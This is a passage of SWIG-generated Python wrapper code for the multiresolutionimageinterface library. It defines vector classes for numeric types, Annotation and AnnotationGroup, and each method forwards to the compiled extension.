'std::vector< int >::difference_type', j: 'std::vector< int >::difference_type') -> "void": return _multiresolutionimageinterface.vector_int___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_int___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< int >::value_type const &": return _multiresolutionimageinterface.vector_int___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_int___setitem__(self, *args) def pop(self) -> "std::vector< int >::value_type": return _multiresolutionimageinterface.vector_int_pop(self) def append(self, x: 'std::vector< int >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_int_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_int_empty(self) def size(self) -> "std::vector< int >::size_type": return _multiresolutionimageinterface.vector_int_size(self) def swap(self, v: 'vector_int') -> "void": return _multiresolutionimageinterface.vector_int_swap(self, v) def begin(self) -> "std::vector< int >::iterator": return _multiresolutionimageinterface.vector_int_begin(self) def end(self) -> "std::vector< int >::iterator": return _multiresolutionimageinterface.vector_int_end(self) def rbegin(self) -> "std::vector< int >::reverse_iterator": return _multiresolutionimageinterface.vector_int_rbegin(self) def rend(self) -> "std::vector< int >::reverse_iterator": return _multiresolutionimageinterface.vector_int_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_int_clear(self) def get_allocator(self) -> "std::vector< int >::allocator_type": return _multiresolutionimageinterface.vector_int_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_int_pop_back(self) def erase(self, *args) -> "std::vector< int >::iterator": return _multiresolutionimageinterface.vector_int_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_int(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< int >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_int_push_back(self, x) def front(self) -> "std::vector< int >::value_type const &": return _multiresolutionimageinterface.vector_int_front(self) def back(self) -> "std::vector< int >::value_type const &": return _multiresolutionimageinterface.vector_int_back(self) def assign(self, n: 'std::vector< int >::size_type', x: 'std::vector< int >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_int_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_int_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_int_insert(self, *args) def reserve(self, n: 'std::vector< int >::size_type') -> "void": return _multiresolutionimageinterface.vector_int_reserve(self, n) def capacity(self) -> "std::vector< int >::size_type": return _multiresolutionimageinterface.vector_int_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_int __del__ = lambda self: None vector_int_swigregister = _multiresolutionimageinterface.vector_int_swigregister vector_int_swigregister(vector_int) class vector_uint(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_uint, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_uint, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_uint_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_uint___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_uint___bool__(self) def __len__(self) -> "std::vector< unsigned int >::size_type": return _multiresolutionimageinterface.vector_uint___len__(self) def __getslice__(self, i: 'std::vector< unsigned int >::difference_type', j: 'std::vector< unsigned int >::difference_type') -> "std::vector< unsigned int,std::allocator< unsigned int > > *": return _multiresolutionimageinterface.vector_uint___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_uint___setslice__(self, *args) def __delslice__(self, i: 'std::vector< unsigned int >::difference_type', j: 'std::vector< unsigned int >::difference_type') -> "void": return _multiresolutionimageinterface.vector_uint___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_uint___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< unsigned int >::value_type const &": return _multiresolutionimageinterface.vector_uint___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_uint___setitem__(self, *args) def pop(self) -> "std::vector< unsigned int >::value_type": return _multiresolutionimageinterface.vector_uint_pop(self) def append(self, x: 'std::vector< unsigned int >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_uint_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_uint_empty(self) def size(self) -> "std::vector< unsigned int >::size_type": return _multiresolutionimageinterface.vector_uint_size(self) def swap(self, v: 'vector_uint') -> "void": return _multiresolutionimageinterface.vector_uint_swap(self, v) def begin(self) -> "std::vector< unsigned int >::iterator": return _multiresolutionimageinterface.vector_uint_begin(self) def end(self) -> "std::vector< unsigned int >::iterator": return _multiresolutionimageinterface.vector_uint_end(self) def rbegin(self) -> "std::vector< unsigned int >::reverse_iterator": return _multiresolutionimageinterface.vector_uint_rbegin(self) def rend(self) -> "std::vector< unsigned int >::reverse_iterator": return _multiresolutionimageinterface.vector_uint_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_uint_clear(self) def get_allocator(self) -> "std::vector< unsigned int >::allocator_type": return _multiresolutionimageinterface.vector_uint_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_uint_pop_back(self) def erase(self, *args) -> "std::vector< unsigned int >::iterator": return _multiresolutionimageinterface.vector_uint_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_uint(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< unsigned int >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_uint_push_back(self, x) def front(self) -> "std::vector< unsigned int >::value_type const &": return _multiresolutionimageinterface.vector_uint_front(self) def back(self) -> "std::vector< unsigned int >::value_type const &": return _multiresolutionimageinterface.vector_uint_back(self) def assign(self, n: 'std::vector< unsigned int >::size_type', x: 'std::vector< unsigned int >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_uint_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_uint_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_uint_insert(self, *args) def reserve(self, n: 'std::vector< unsigned int >::size_type') -> "void": return _multiresolutionimageinterface.vector_uint_reserve(self, n) def capacity(self) -> "std::vector< unsigned int >::size_type": return _multiresolutionimageinterface.vector_uint_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_uint __del__ = lambda self: None vector_uint_swigregister = _multiresolutionimageinterface.vector_uint_swigregister vector_uint_swigregister(vector_uint) class vector_float(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_float, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_float, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_float_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_float___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_float___bool__(self) def __len__(self) -> "std::vector< float >::size_type": return _multiresolutionimageinterface.vector_float___len__(self) def __getslice__(self, i: 'std::vector< float >::difference_type', j: 'std::vector< float >::difference_type') -> "std::vector< float,std::allocator< float > > *": return _multiresolutionimageinterface.vector_float___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_float___setslice__(self, *args) def __delslice__(self, i: 'std::vector< float >::difference_type', j: 'std::vector< float >::difference_type') -> "void": return _multiresolutionimageinterface.vector_float___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_float___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< float >::value_type const &": return _multiresolutionimageinterface.vector_float___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_float___setitem__(self, *args) def pop(self) -> "std::vector< float >::value_type": return _multiresolutionimageinterface.vector_float_pop(self) def append(self, x: 'std::vector< float >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_float_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_float_empty(self) def size(self) -> "std::vector< float >::size_type": return _multiresolutionimageinterface.vector_float_size(self) def swap(self, v: 'vector_float') -> "void": return _multiresolutionimageinterface.vector_float_swap(self, v) def begin(self) -> "std::vector< float >::iterator": return _multiresolutionimageinterface.vector_float_begin(self) def end(self) -> "std::vector< float >::iterator": return _multiresolutionimageinterface.vector_float_end(self) def rbegin(self) -> "std::vector< float >::reverse_iterator": return _multiresolutionimageinterface.vector_float_rbegin(self) def rend(self) -> "std::vector< float >::reverse_iterator": return _multiresolutionimageinterface.vector_float_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_float_clear(self) def get_allocator(self) -> "std::vector< float >::allocator_type": return _multiresolutionimageinterface.vector_float_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_float_pop_back(self) def erase(self, *args) -> "std::vector< float >::iterator": return _multiresolutionimageinterface.vector_float_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_float(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< float >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_float_push_back(self, x) def front(self) -> "std::vector< float >::value_type const &": return _multiresolutionimageinterface.vector_float_front(self) def back(self) -> "std::vector< float >::value_type const &": return _multiresolutionimageinterface.vector_float_back(self) def assign(self, n: 'std::vector< float >::size_type', x: 'std::vector< float >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_float_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_float_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_float_insert(self, *args) def reserve(self, n: 'std::vector< float >::size_type') -> "void": return _multiresolutionimageinterface.vector_float_reserve(self, n) def capacity(self) -> "std::vector< float >::size_type": return _multiresolutionimageinterface.vector_float_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_float __del__ = lambda self: None vector_float_swigregister = _multiresolutionimageinterface.vector_float_swigregister vector_float_swigregister(vector_float) class vector_double(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_double, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_double, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_double_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_double___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_double___bool__(self) def __len__(self) -> "std::vector< double >::size_type": return _multiresolutionimageinterface.vector_double___len__(self) def __getslice__(self, i: 'std::vector< double >::difference_type', j: 'std::vector< double >::difference_type') -> "std::vector< double,std::allocator< double > > *": return _multiresolutionimageinterface.vector_double___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_double___setslice__(self, *args) def __delslice__(self, i: 'std::vector< double >::difference_type', j: 'std::vector< double >::difference_type') -> "void": return _multiresolutionimageinterface.vector_double___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_double___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< double >::value_type const &": return _multiresolutionimageinterface.vector_double___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_double___setitem__(self, *args) def pop(self) -> "std::vector< double >::value_type": return _multiresolutionimageinterface.vector_double_pop(self) def append(self, x: 'std::vector< double >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_double_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_double_empty(self) def size(self) -> "std::vector< double >::size_type": return _multiresolutionimageinterface.vector_double_size(self) def swap(self, v: 'vector_double') -> "void": return _multiresolutionimageinterface.vector_double_swap(self, v) def begin(self) -> "std::vector< double >::iterator": return _multiresolutionimageinterface.vector_double_begin(self) def end(self) -> "std::vector< double >::iterator": return _multiresolutionimageinterface.vector_double_end(self) def rbegin(self) -> "std::vector< double >::reverse_iterator": return _multiresolutionimageinterface.vector_double_rbegin(self) def rend(self) -> "std::vector< double >::reverse_iterator": return _multiresolutionimageinterface.vector_double_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_double_clear(self) def get_allocator(self) -> "std::vector< double >::allocator_type": return _multiresolutionimageinterface.vector_double_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_double_pop_back(self) def erase(self, *args) -> "std::vector< double >::iterator": return _multiresolutionimageinterface.vector_double_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_double(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< double >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_double_push_back(self, x) def front(self) -> "std::vector< double >::value_type const &": return _multiresolutionimageinterface.vector_double_front(self) def back(self) -> "std::vector< double >::value_type const &": return _multiresolutionimageinterface.vector_double_back(self) def assign(self, n: 'std::vector< double >::size_type', x: 'std::vector< double >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_double_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_double_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_double_insert(self, *args) def reserve(self, n: 'std::vector< double >::size_type') -> "void": return _multiresolutionimageinterface.vector_double_reserve(self, n) def capacity(self) -> "std::vector< double >::size_type": return _multiresolutionimageinterface.vector_double_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_double __del__ = lambda self: None vector_double_swigregister = _multiresolutionimageinterface.vector_double_swigregister vector_double_swigregister(vector_double) class vector_annotation(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_annotation, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_annotation, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_annotation_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_annotation___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_annotation___bool__(self) def __len__(self) -> "std::vector< std::shared_ptr< Annotation > >::size_type": return _multiresolutionimageinterface.vector_annotation___len__(self) def __getslice__(self, i: 'std::vector< std::shared_ptr< Annotation > >::difference_type', j: 'std::vector< std::shared_ptr< Annotation > >::difference_type') -> "std::vector< std::shared_ptr< Annotation >,std::allocator< std::shared_ptr< Annotation > > > *": return _multiresolutionimageinterface.vector_annotation___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation___setslice__(self, *args) def __delslice__(self, i: 'std::vector< std::shared_ptr< Annotation > >::difference_type', j: 'std::vector< std::shared_ptr< Annotation > >::difference_type') -> "void": return _multiresolutionimageinterface.vector_annotation___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< std::shared_ptr< Annotation > >::value_type const &": return _multiresolutionimageinterface.vector_annotation___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation___setitem__(self, *args) def pop(self) -> "std::vector< std::shared_ptr< Annotation > >::value_type": return _multiresolutionimageinterface.vector_annotation_pop(self) def append(self, x: 'std::vector< std::shared_ptr< Annotation > >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_annotation_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_annotation_empty(self) def size(self) -> "std::vector< std::shared_ptr< Annotation > >::size_type": return _multiresolutionimageinterface.vector_annotation_size(self) def swap(self, v: 'vector_annotation') -> "void": return _multiresolutionimageinterface.vector_annotation_swap(self, v) def begin(self) -> "std::vector< std::shared_ptr< Annotation > >::iterator": return _multiresolutionimageinterface.vector_annotation_begin(self) def end(self) -> "std::vector< std::shared_ptr< Annotation > >::iterator": return _multiresolutionimageinterface.vector_annotation_end(self) def rbegin(self) -> "std::vector< std::shared_ptr< Annotation > >::reverse_iterator": return _multiresolutionimageinterface.vector_annotation_rbegin(self) def rend(self) -> "std::vector< std::shared_ptr< Annotation > >::reverse_iterator": return _multiresolutionimageinterface.vector_annotation_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_annotation_clear(self) def get_allocator(self) -> "std::vector< std::shared_ptr< Annotation > >::allocator_type": return _multiresolutionimageinterface.vector_annotation_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_annotation_pop_back(self) def erase(self, *args) -> "std::vector< std::shared_ptr< Annotation > >::iterator": return _multiresolutionimageinterface.vector_annotation_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_annotation(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< std::shared_ptr< Annotation > >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_annotation_push_back(self, x) def front(self) -> "std::vector< std::shared_ptr< Annotation > >::value_type const &": return _multiresolutionimageinterface.vector_annotation_front(self) def back(self) -> "std::vector< std::shared_ptr< Annotation > >::value_type const &": return _multiresolutionimageinterface.vector_annotation_back(self) def assign(self, n: 'std::vector< std::shared_ptr< Annotation > >::size_type', x: 'std::vector< std::shared_ptr< Annotation > >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_annotation_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation_insert(self, *args) def reserve(self, n: 'std::vector< std::shared_ptr< Annotation > >::size_type') -> "void": return _multiresolutionimageinterface.vector_annotation_reserve(self, n) def capacity(self) -> "std::vector< std::shared_ptr< Annotation > >::size_type": return _multiresolutionimageinterface.vector_annotation_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_annotation __del__ = lambda self: None vector_annotation_swigregister = _multiresolutionimageinterface.vector_annotation_swigregister vector_annotation_swigregister(vector_annotation) class vector_annotation_group(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_annotation_group, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_annotation_group, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_annotation_group_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_annotation_group___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_annotation_group___bool__(self) def __len__(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::size_type": return _multiresolutionimageinterface.vector_annotation_group___len__(self) def __getslice__(self, i: 'std::vector< std::shared_ptr< AnnotationGroup > >::difference_type', j: 'std::vector< std::shared_ptr< AnnotationGroup > >::difference_type') -> "std::vector< std::shared_ptr< AnnotationGroup >,std::allocator< std::shared_ptr< AnnotationGroup > > > *": return _multiresolutionimageinterface.vector_annotation_group___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation_group___setslice__(self, *args) def __delslice__(self, i: 'std::vector< std::shared_ptr< AnnotationGroup > >::difference_type', j: 'std::vector< std::shared_ptr< AnnotationGroup > >::difference_type') -> "void": return _multiresolutionimageinterface.vector_annotation_group___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation_group___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< std::shared_ptr< AnnotationGroup > >::value_type const &": return _multiresolutionimageinterface.vector_annotation_group___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation_group___setitem__(self, *args) def pop(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::value_type": return _multiresolutionimageinterface.vector_annotation_group_pop(self) def append(self, x: 'std::vector< std::shared_ptr< AnnotationGroup > >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_annotation_group_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_annotation_group_empty(self) def size(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::size_type": return _multiresolutionimageinterface.vector_annotation_group_size(self) def swap(self, v: 'vector_annotation_group') -> "void": return _multiresolutionimageinterface.vector_annotation_group_swap(self, v) def begin(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::iterator": return _multiresolutionimageinterface.vector_annotation_group_begin(self) def end(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::iterator": return _multiresolutionimageinterface.vector_annotation_group_end(self) def rbegin(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::reverse_iterator": return _multiresolutionimageinterface.vector_annotation_group_rbegin(self) def rend(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::reverse_iterator": return _multiresolutionimageinterface.vector_annotation_group_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_annotation_group_clear(self) def get_allocator(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::allocator_type": return _multiresolutionimageinterface.vector_annotation_group_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_annotation_group_pop_back(self) def erase(self, *args) -> "std::vector< std::shared_ptr< AnnotationGroup > >::iterator": return _multiresolutionimageinterface.vector_annotation_group_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_annotation_group(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< std::shared_ptr< AnnotationGroup > >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_annotation_group_push_back(self, x) def front(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::value_type const &": return _multiresolutionimageinterface.vector_annotation_group_front(self) def back(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::value_type const &": return _multiresolutionimageinterface.vector_annotation_group_back(self) def assign(self, n: 'std::vector< std::shared_ptr< AnnotationGroup > >::size_type', x: 'std::vector< std::shared_ptr< AnnotationGroup > >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_annotation_group_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation_group_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_annotation_group_insert(self, *args) def reserve(self, n: 'std::vector< std::shared_ptr< AnnotationGroup > >::size_type') -> "void": return _multiresolutionimageinterface.vector_annotation_group_reserve(self, n) def capacity(self) -> "std::vector< std::shared_ptr< AnnotationGroup > >::size_type": return _multiresolutionimageinterface.vector_annotation_group_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_annotation_group __del__ = lambda self: None vector_annotation_group_swigregister = _multiresolutionimageinterface.vector_annotation_group_swigregister vector_annotation_group_swigregister(vector_annotation_group) class vector_unsigned_long_long(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_unsigned_long_long, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_unsigned_long_long, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_unsigned_long_long_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_unsigned_long_long___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_unsigned_long_long___bool__(self) def __len__(self) -> "std::vector< unsigned long long >::size_type": return _multiresolutionimageinterface.vector_unsigned_long_long___len__(self) def __getslice__(self, i: 'std::vector< unsigned long long >::difference_type', j: 'std::vector< unsigned long long >::difference_type') -> "std::vector< unsigned long long,std::allocator< unsigned long long > > *": return _multiresolutionimageinterface.vector_unsigned_long_long___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long___setslice__(self, *args) def __delslice__(self, i: 'std::vector< unsigned long long >::difference_type', j: 'std::vector< unsigned long long >::difference_type') -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< unsigned long long >::value_type const &": return _multiresolutionimageinterface.vector_unsigned_long_long___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long___setitem__(self, *args) def pop(self) -> "std::vector< unsigned long long >::value_type": return _multiresolutionimageinterface.vector_unsigned_long_long_pop(self) def append(self, x: 'std::vector< unsigned long long >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_unsigned_long_long_empty(self) def size(self) -> "std::vector< unsigned long long >::size_type": return _multiresolutionimageinterface.vector_unsigned_long_long_size(self) def swap(self, v: 'vector_unsigned_long_long') -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_swap(self, v) def begin(self) -> "std::vector< unsigned long long >::iterator": return _multiresolutionimageinterface.vector_unsigned_long_long_begin(self) def end(self) -> "std::vector< unsigned long long >::iterator": return _multiresolutionimageinterface.vector_unsigned_long_long_end(self) def rbegin(self) -> "std::vector< unsigned long long >::reverse_iterator": return _multiresolutionimageinterface.vector_unsigned_long_long_rbegin(self) def rend(self) -> "std::vector< unsigned long long >::reverse_iterator": return _multiresolutionimageinterface.vector_unsigned_long_long_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_clear(self) def get_allocator(self) -> "std::vector< unsigned long long >::allocator_type": return _multiresolutionimageinterface.vector_unsigned_long_long_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_pop_back(self) def erase(self, *args) -> "std::vector< unsigned long long >::iterator": return _multiresolutionimageinterface.vector_unsigned_long_long_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_unsigned_long_long(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< unsigned long long >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_push_back(self, x) def front(self) -> "std::vector< unsigned long long >::value_type const &": return _multiresolutionimageinterface.vector_unsigned_long_long_front(self) def back(self) -> "std::vector< unsigned long long >::value_type const &": return _multiresolutionimageinterface.vector_unsigned_long_long_back(self) def assign(self, n: 'std::vector< unsigned long long >::size_type', x: 'std::vector< unsigned long long >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_insert(self, *args) def reserve(self, n: 'std::vector< unsigned long long >::size_type') -> "void": return _multiresolutionimageinterface.vector_unsigned_long_long_reserve(self, n) def capacity(self) -> "std::vector< unsigned long long >::size_type": return _multiresolutionimageinterface.vector_unsigned_long_long_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_unsigned_long_long __del__ = lambda self: None vector_unsigned_long_long_swigregister = _multiresolutionimageinterface.vector_unsigned_long_long_swigregister vector_unsigned_long_long_swigregister(vector_unsigned_long_long) class vector_long_long(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_long_long, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_long_long, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_long_long_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_long_long___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_long_long___bool__(self) def __len__(self) -> "std::vector< long long >::size_type": return _multiresolutionimageinterface.vector_long_long___len__(self) def __getslice__(self, i: 'std::vector< long long >::difference_type', j: 'std::vector< long long >::difference_type') -> "std::vector< long long,std::allocator< long long > > *": return _multiresolutionimageinterface.vector_long_long___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_long_long___setslice__(self, *args) def __delslice__(self, i: 'std::vector< long long >::difference_type', j: 'std::vector< long long >::difference_type') -> "void": return _multiresolutionimageinterface.vector_long_long___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_long_long___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< long long >::value_type const &": return _multiresolutionimageinterface.vector_long_long___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_long_long___setitem__(self, *args) def pop(self) -> "std::vector< long long >::value_type": return _multiresolutionimageinterface.vector_long_long_pop(self) def append(self, x: 'std::vector< long long >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_long_long_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_long_long_empty(self) def size(self) -> "std::vector< long long >::size_type": return _multiresolutionimageinterface.vector_long_long_size(self) def swap(self, v: 'vector_long_long') -> "void": return _multiresolutionimageinterface.vector_long_long_swap(self, v) def begin(self) -> "std::vector< long long >::iterator": return _multiresolutionimageinterface.vector_long_long_begin(self) def end(self) -> "std::vector< long long >::iterator": return _multiresolutionimageinterface.vector_long_long_end(self) def rbegin(self) -> "std::vector< long long >::reverse_iterator": return _multiresolutionimageinterface.vector_long_long_rbegin(self) def rend(self) -> "std::vector< long long >::reverse_iterator": return _multiresolutionimageinterface.vector_long_long_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_long_long_clear(self) def get_allocator(self) -> "std::vector< long long >::allocator_type": return 